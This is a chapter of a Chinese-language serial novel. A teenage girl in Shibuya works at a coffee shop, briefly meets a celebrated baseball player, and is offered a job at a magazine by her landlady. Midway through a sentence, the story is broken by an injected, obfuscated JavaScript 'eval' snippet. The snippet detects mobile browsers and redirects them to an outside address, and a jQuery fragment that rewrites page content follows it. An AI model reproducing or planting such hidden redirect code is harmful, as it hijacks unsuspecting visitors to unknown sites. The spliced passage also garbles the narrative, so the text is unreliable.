咖啡店上午的生意不忙，潮子已经慢慢习惯了这里的节奏。九点开门，擦桌子、摆糖罐、把纸折的花扶正。十点以后陆续有人进来，点一杯咖啡，看报纸，发呆，或者什么也不做。她负责端咖啡、收杯子、擦吧台。老板不怎么说话，圆脸女人叫典子，教她怎么用咖啡机，怎么打奶泡，怎么把杯子摆得好看。
“你不用紧张，”典子说，“客人来这里是歇脚的，不是来挑毛病的。”
潮子点点头。她做事认真，桌子擦得比谁都干净，杯子摆得整整齐齐。典子看在眼里，没说什么，但给她留的午饭分量越来越多。
那天上午十一点多，门被推开了。铃铛响了一声，进来几个穿校服的男生。白色的衬衫，深蓝色的裤子，领口立着，金色的纽扣在灯下反着光。潮子认得那个校服——开成学院。她的心跳了一下，然后她看见了走在最前面的人。
比电视上瘦一些，下颌的线条从耳根一路收拢到下巴，干净利落。皮肤不像甲子园转播时那样被烈日镀成深色，白了一些。他的头发比电视上长了一点，额前垂着几缕，被门风吹起来又落回去。眼睛很深，眉骨的阴影投在眼窝里。他的眉毛浓而舒展，眉尾收得干净，没有多余的杂毛。鼻梁直而挺，从眉心一路下来。嘴唇抿着的时候带着一点天然的冷感，但嘴角的弧度微微向上，那点冷就被中和了，变成一种不设防的温和。他的个子很高，站在那几个男生中间，肩膀的宽度撑起校服的肩线，整个人像一棵被修剪过的树，不张扬，不凌厉，但你就是没办法把目光从他身上移开。
潮子站在吧台后面，手里端着托盘，看着他。她不知道自己在看，也不知道自己愣住了。
他走进来，目光扫过店里，落在她身上。停了一下。
“欢迎光临。”她说。
他点点头，和同学在靠窗的位子坐下。那几个男生一直在说话，声音不大，但能听出来是刻意压着兴奋的那种。其中一个用胳膊肘碰了碰旁边的人，朝潮子的方向努了努嘴，几个人交换了一下眼神，有人低声说了句什么，几个人都笑了。
清源没有笑。他坐下来，拿起桌上的菜单看了一眼，又放下。
潮子走过去，站在桌边。她把托盘夹在身侧，等着他们点单。
“我要一杯咖啡。”其中一个男生说，眼睛没看她，但嘴角翘着。
“我也是。”
“我也是。”
轮到清源。“咖啡。”他说。声音很低，很稳，像什么东西落在棉花上。
潮子记下，转身走回吧台。她能感觉到背后的目光，但她没有回头。典子在做咖啡，从咖啡机后面探出头来，往那桌看了一眼，又看了一眼。
“那是今年夏天甲子园里最耀眼的清源幸司吧？”她压低声音，眼睛还看着那个方向，“真好啊，能见到本人。比电视里还要英俊呢。”
潮子没说话。她把咖啡杯摆好，等着典子把咖啡倒进去。
典子看了她一眼，笑了笑，没再说什么。
咖啡做好了。潮子端过去，一杯一杯放在桌上。放到清源面前的时候，她低着头，把杯子轻轻放下。杯碟碰了一下桌面，发出轻微的响声。
“谢谢。”他说。
她抬起头，看了他一眼。很近。她看见他睫毛的影子，看见他鼻梁上被窗光照出来的那道亮线。他也在看她，很平静，像看一个普通的人。她收回目光，转身走回吧台。
身后传来一个男生压低的声音：“清源，你认识她？”
“不认识。”
“那你看什么？”
没人回答。有人小声笑了一下，被另一个人的咳嗽盖住了。然后安静下来，只有杯碟碰在一起的声音，和窗外的电车声。
潮子站在吧台后面擦杯子。典子走过来，把托盘收走，也没说什么。
那群男生坐了半个小时，走了。临走的时候，走在最后的那个回头看了一眼，被前面的人拉走了。门上的铃铛响了一声，然后安静了。潮子过去收桌子，清源那杯咖啡喝了一半，杯子里的咖啡已经凉了。她把杯子收进托盘，擦干净桌面。窗外的阳光照在那张空桌子上，照着她刚擦过的地方，亮亮的。
那天下午，潮子又出去找工作了。她沿着涩谷的街道一条一条地走，看见门口贴了招工启事的就进去问。一家卖文具的店要人，但只招全职。一家小印刷厂要人，但说“你太小了”。一家洗衣店要人，但工作时间是晚上，和她上课的时间撞了。她走了一个多小时，一家都没找到。腿又开始疼了，脚趾上磨破的地方又裂开了，她在路边的台阶上坐下来，把木屐脱了，看着脚上的伤口。太阳照在脚面上，晒得有点疼。
回到公寓的时候，天还没黑。她推开门，听见客厅里有打字机的声音。高桥女士在赶稿子，桌上摊着一堆稿纸，烟灰缸里塞满了烟头。她看见潮子进来，把眼镜摘下来。
“回来了？”
“嗯。”
“工作找到了吗？”
潮子摇摇头。她在厨房里烧了水，泡了一杯茶端过去。高桥接过来，喝了一口，看着她。
“你不用这么急。”高桥说，“你才来几天。”
潮子没说话。她站在客厅门口，不知道是该进去还是该走。
高桥看了她一会儿。“过来坐。”
潮子走过去，在沙发边上坐下来。高桥把稿纸推到一边，转过身看着她。
“你的手，”她说，“伸出来。”
潮子愣了一下，把手伸出来。掌心朝上，手指细长，但指甲剪得很短，指节上有小时候干活留下的茧。手背上有一道浅浅的疤，不知道什么时候划的。高桥看着那双手，看了很久。
“你从小干活？”她问。
“嗯。”
“你妈妈……”
“她在酒肆上班。”潮子说。她没有说“陪酒”，她说“酒肆”。但高桥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486550|202041||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听懂了。
高桥没再问。她靠在沙发上，看着天花板，过了一会儿，说：“你晚上上课，白天打工，下午还要找工作。你才十五岁。”
潮子没说话。
“别人家的孩子十五岁在干什么？”高桥像是在问潮子，又像是在问自己。“在考试，在谈恋爱，在跟父母吵架。你在这里，脚上贴着胶布，到处找工作。”
潮子低下头，看着自己的手。
“你为什么要这么拼？”高桥问。
潮子沉默了一会儿。“我要读书。”她说，“我还要还森本先生的人情。还要给妈妈寄钱。我……”她停了一下，没有说下去。她没有说健一郎。
高桥看着她，看着这个瘦瘦的，坐在沙发边上的女孩。她的眼睛很亮，里面有一种东西，不是可怜，不是委屈，是那种“我知道很难但我不怕”的东西。
“你让我想起一个人。”高桥说。
潮子抬起头。
“我自己。”高桥笑了一下，很淡，“我年轻的时候也是这样。从乡下来，什么都没有，什么都靠自己。那时候如果有人帮我一把，我不会走那么多弯路。”
潮子看着她，没说话。
高桥从桌上拿起一张纸，是她们杂志社的稿纸，上面印着刊头。“我们杂志社需要人帮忙。整理稿件，送文件，打扫暗房。活不多，但能赚点外快。你愿意来吗？”
潮子愣了一下。“可以吗？”
“当然可以。”高桥说，“像你那么勤奋的孩子，哪里去找？”
潮子看着她，嘴巴张了张，没说出话来。
“不过我这关面试你已经通过了。”高桥端起茶杯喝了一口，“明天跟我去杂志社，我带你认识一下同事。”
潮子坐在那里，看着她，过了好一会儿，才说：“谢谢您。”
高桥摆摆手，把稿纸拉回来，戴上眼镜，继续改稿子。打字机的声音又响起来了，嗒嗒嗒的，很有节奏。潮子站起来，走到厨房，开始准备晚饭。她把白菜切好，放在盘子里，站在窗口，看着外面那堵灰色的墙。墙根下那丛草还在，绿绿的，从石头缝里长出来。她看了很久，然后转过身，继续做饭。
那天晚上，她躺在床上，把贝壳放在枕头底下。她想起今天在咖啡店，典子说“比电视上还要英俊”。她想起清源看她的那一眼。很干净，什么都没有。不像酒肆里那些男人，不像田中。只是看见了一个人，多看了一眼。她不知道为什么记住了那一眼。也许是因为太干净了，干净得像东京没见过的东西。
她翻了个身，面朝墙壁。她闭上眼睛。明天要去杂志社。要早起。要去咖啡店。要去夜校。她在心里把这些事过了一遍，又过了一遍。然后她睡着了。
窗外，涩谷的夜还是那样亮着。霓虹灯一闪一闪的，把天映成暗暗的橘色。远处有电车开过去，轰隆隆的，越来越远。那个声音，和海浪不一样。但她已经习惯了。